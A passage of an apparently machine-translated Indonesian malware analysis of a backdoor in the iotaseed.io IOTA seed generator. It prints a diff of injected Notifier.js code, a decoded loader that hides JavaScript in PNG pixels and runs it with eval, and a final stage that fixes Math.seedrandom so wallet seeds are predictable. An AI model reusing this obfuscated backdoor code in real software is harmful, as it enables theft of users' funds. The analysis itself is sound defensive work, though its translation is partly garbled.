pfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
whvwdzafABTh / tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM / ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp + ioWy2JAbWYqQ6E + mv5SwyNzJWh / HHX6Rty17TYNBFF44CokEA + ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833 / N0bI85X / CarUEte9b68nlf4rg + lKoEGAvPMvzk6 + Ak5OwZ71u / S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp / vlzDefw0hYOWf4b1 + 3Tt5 + 3MfcZ7NxnnPX0Uu // 7StQUhwgmNk / N9x3ENDpfF / P7E6 / 6rM1qt8K0BXMjsOs7 + eZKNR95KMSQfCgS / pUY4TuPUdlEHlOPnCXj7H2B1e9 $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
Tampaknya seseorang dengan sangat hati-hati membuat perubahan pada perpustakaan Notifier.js untuk menyembunyikan sepotong kode di dalamnya. Metode
Notifier.notify
telah diubah sehingga memeriksa untuk melihat apakah parameter berisi
image ",T"
. Selanjutnya, ia menerjemahkan bagian dari parameter dalam JavaScript dan memprosesnya. Perubahan lain menambahkan metode
Notifier.init()
, dipanggil setelah halaman dimuat. Dia, pada gilirannya, menyebut metode
notify
dengan parameter
image
, yang memicu pemicuan kode ini.
Menjalankan
atob(image.split(",")[2])
fragmen kode di atas
atob(image.split(",")[2])
dengan tautan data yang ditentukan di dalamnya memberikan fragmen kode berikut (inden dan spasi ditambahkan untuk meningkatkan keterbacaan):
function cDis(f) { var o = document.createElement("canvas").getContext("2d"); var i = new Image; i.onload = function() { o.drawImage(i, 0, 0); dS(o.getImageData(0, 0, 298, 100).data) }; i.src = f } function dS(d) { var l = 21, bM = "", tM = ""; for (var i = 0; i < l; i++) { var b = (d[i * 4 + 2] >>> 0).toString(2); bM += b[b.length - 1]; if (bM.length == 16) { l = parseInt(bM, 2) + 16; bM = "" } else if (bM.length == 8 && l != 21) { tM += String.fromCharCode(parseInt(bM, 2)); bM = "" } } eval(tM) } cDis("./images/logo_small_bottom.png");
Bagian kedua dari kode berbahaya disisipkan
./images/logo_small_bottom.png
ke elemen <canvas> yang tersembunyi di luar layar, membaca gambar dalam bentuk teks, dan memproses teks ini sebagai kode javascript.
File
logo_small_bottom.png
ditambahkan ke repositori pada 28 Agustus 2017 dan diperbarui 3 jam kemudian. Kedua versi yang melewati dekoder gambar ini tidak menghasilkan kode yang valid.
Namun demikian, gambar lain digunakan pada salinan situs WM yang disimpan. Kode berikut disembunyikan di dalamnya (indentasi ditambahkan lagi untuk kenyamanan):
if (/ps:.*\.io/.test(document.location)) { mode = "M"; (function(message) { var name = "edr"; name += "an"; message["cont"] = 0; name += "dom"; function show(arg, options, image) { message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image); message["cont"] += 1 } message["e2" + name] = message["se" + name]; message["se" + name] = show })(eval(mode + "ath")) }
Ini adalah tahap terakhir dari backdoor javascript. Ini dapat disederhanakan menjadi kode berikut:
Math.cont = 0; function show(arg, options, image) { Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image); Math.cont += 1; } Math.e2edrandom = Math.seedrandom; Math.seedrandom = show;
Kode ini mengubah fungsi
Math.seedrandom
digunakan oleh kode generasi sehingga selalu
4782588875512803642
seed konstan
4782588875512803642
dan menambahkannya nilai variabel counter, bertambah satu setiap kali
seedrandom
dimulai. Ini menyebabkan
Math.random()
selalu mengembalikan urutan angka yang sama dan dapat diprediksi. Akibatnya, benih yang dihasilkan dari setiap dompet IOTA baru selalu tetap sama. Ini menjadi sangat jelas jika Anda mencoba untuk membuka
versi arsip iotaseed.io beberapa kali dan perhatikan bahwa seed yang dihasilkan selalu tetap
XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD
.
Penting untuk dicatat di sini bahwa angka yang digunakan untuk menghasilkan (
"4782588875512803642"
dalam contoh di atas) berbeda untuk setiap pengguna. Karena fakta bahwa WM menyimpan salinan gambar pada titik waktu tertentu, seed tetap sama setiap kali Anda membuka salinan untuk tanggal yang sama. Cek untuk tanggal lain, misalnya, 31 Oktober atau 19 November, menunjukkan bahwa jumlah dan benihnya berbeda dari salinan yang kami periksa untuk 3 Januari. Berdasarkan ini, kita dapat menyimpulkan bahwa file
./images/logo_small_bottom.png
dihasilkan dengan cepat oleh server iotaseed.io.
Selama pembuatan file ini, nomor yang digunakan oleh generator nomor acak yang diperbaiki diubah dan mungkin disimpan di suatu tempat sehingga penyerang nantinya dapat menggunakannya untuk mencuri IOTA. Akibatnya, situs web tersebut menghasilkan benih yang berbeda untuk pengguna yang berbeda. Namun, situasi dengan generasi acak di sisi server juga bukan yang terbaik, karena diketahui bahwa setidaknya satu orang
menerima benih di situs yang telah digunakan seseorang. Peragaan perbedaan kode tersedia di
tautan ini.
Menggunakan resmi
Javascript-perpustakaan dari IOTA , kita dapat menetapkan bahwa disebutkan sebelumnya Sid
XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD
sesuai dengan alamat
PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX
. Menurut
situs web ini , dompet kosong, tetapi situs penjelajah riwayat transaksi lainnya memberikan
kesalahan 404 . Ini berarti bahwa saya melakukan kesalahan ketika mendekodekan alamat, atau saya tidak mengerti cara kerja jaringan IOTA.
Kesimpulan
Pintu belakang disembunyikan dengan licik. Itu pasti ditempatkan di sana dengan niat jahat, dan bukan karena kesalahan dengan penggunaan kriptografi. Tidak jelas sampai akhir apakah itu ditambahkan oleh pemilik repositori github dan situs norbertvdberg, atau apakah akun hostingnya diretas. Betapapun, dilihat dari reaksi pemilik, yang kemudian menghapus akunnya di
GitHub ,
Reddit dan
Quora , ternyata situs itu awalnya dirancang untuk mencuri dana pengguna.
Penyerang mengambil banyak langkah untuk menyembunyikan pintu belakang. Sekilas ke dasbor pengembang di peramban tidak akan mengungkapkan apa pun yang mencurigakan. Sebagai contoh,
data:
tautan pada tahap pertama dari pintu belakang dimulai dengan
iVBORw0KGgo
yang sesuai dengan awal header PNG yang valid yang dikodekan dalam basis 64. Ini berarti bahwa url seperti itu dapat dengan mudah keliru untuk penyisipan gambar - tindakannya cukup normal untuk perpustakaan pemberitahuan js. Bagian dari kode javascript dimuat dari gambar, dan permintaannya adalah satu-satunya permintaan jaringan. Sayangnya, semua ini ternyata cukup untuk membuat banyak orang percaya bahwa semuanya sesuai dengan situs.
Penelitian yang cermat terhadap panel pengembang di browser memungkinkan Anda melihat permintaan ini.

Secara umum, kejadian ini harus diambil sebagai pengingat bahwa ketika datang ke cryptocurrency (dan terutama dalam jumlah besar!), Paranoia bisa menjadi hal yang baik. Anda seharusnya tidak pernah mengandalkan layanan online seperti generator frase benih atau dompet web, memercayai mereka jumlah yang signifikan untuk Anda. Anda hanya perlu menggunakan perangkat lunak yang telah menjalani peninjauan dan audit menyeluruh oleh komunitas.
Dalam kasus kami, iotaseed.io benar-benar memposisikan dirinya sebagai solusi open source, menunjukkan keterbukaan dan kemampuan untuk memverifikasi kode oleh siapa pun. Sepertinya ini sudah cukup untuk meyakinkan beberapa orang, tetapi tidak satupun dari mereka yang berpikir bahwa kode asli yang berjalan di situs web dapat diubah. Pemeriksaan yang cermat akan mengungkap fakta ini, memberi kita contoh lain tentang konsekuensi serius apa yang bisa ditimbulkan oleh kepercayaan buta pada label open-source, terutama di bidang cryptocurrency.
